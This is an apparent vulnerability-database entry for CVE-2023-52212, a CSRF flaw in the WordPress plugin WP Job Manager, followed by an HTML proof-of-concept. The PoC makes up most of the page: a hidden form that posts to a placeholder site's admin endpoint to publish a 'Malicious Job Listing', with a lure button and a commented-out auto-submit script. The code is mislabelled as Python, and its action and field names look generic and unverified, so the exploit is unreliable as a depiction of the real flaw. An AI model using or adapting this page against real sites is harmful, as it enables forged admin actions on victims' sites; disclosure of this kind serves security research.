Cross-Site Request Forgery (CSRF) vulnerability in Automattic WP Job Manager allows Cross Site Request Forgery.This issue affects WP Job Manager: from n/a through 2.0.0.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
WP Job Manager < 2.0.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2023-52212 - WP Job Manager CSRF -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack PoC</title>
</head>
<body>
<h1>CSRF PoC for CVE-2023-52212</h1>
<p>Click the button below to trigger the CSRF attack.</p>
<!-- Example: Modify job listing settings via CSRF -->
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form">
<input type="hidden" name="action" value="save_job_listing">
<input type="hidden" name="job_id" value="1">
<input type="hidden" name="_wpnonce" value="">
<input type="hidden" name="post_status" value="publish">
<input type="hidden" name="job_title" value="Malicious Job Listing">
<input type="hidden" name="job_description" value="This is a CSRF injected job listing">
</form>
<button type="submit" onclick="this.innerHTML='Attack Triggered!'; document.getElementById('csrf-form').submit();">
Click Me (Malicious)
</button>
<!-- Auto-submit on page load (commented out for safety) -->
<!--
<script>
document.getElementById('csrf-form').submit();
</script>
-->
<p><strong>Note:</strong> This PoC demonstrates the CSRF vulnerability concept. The attacker would need to know the target site's structure and valid action endpoints. In a real attack, the attacker would use social engineering to trick a logged-in admin into visiting this page.</p>
</body>
</html>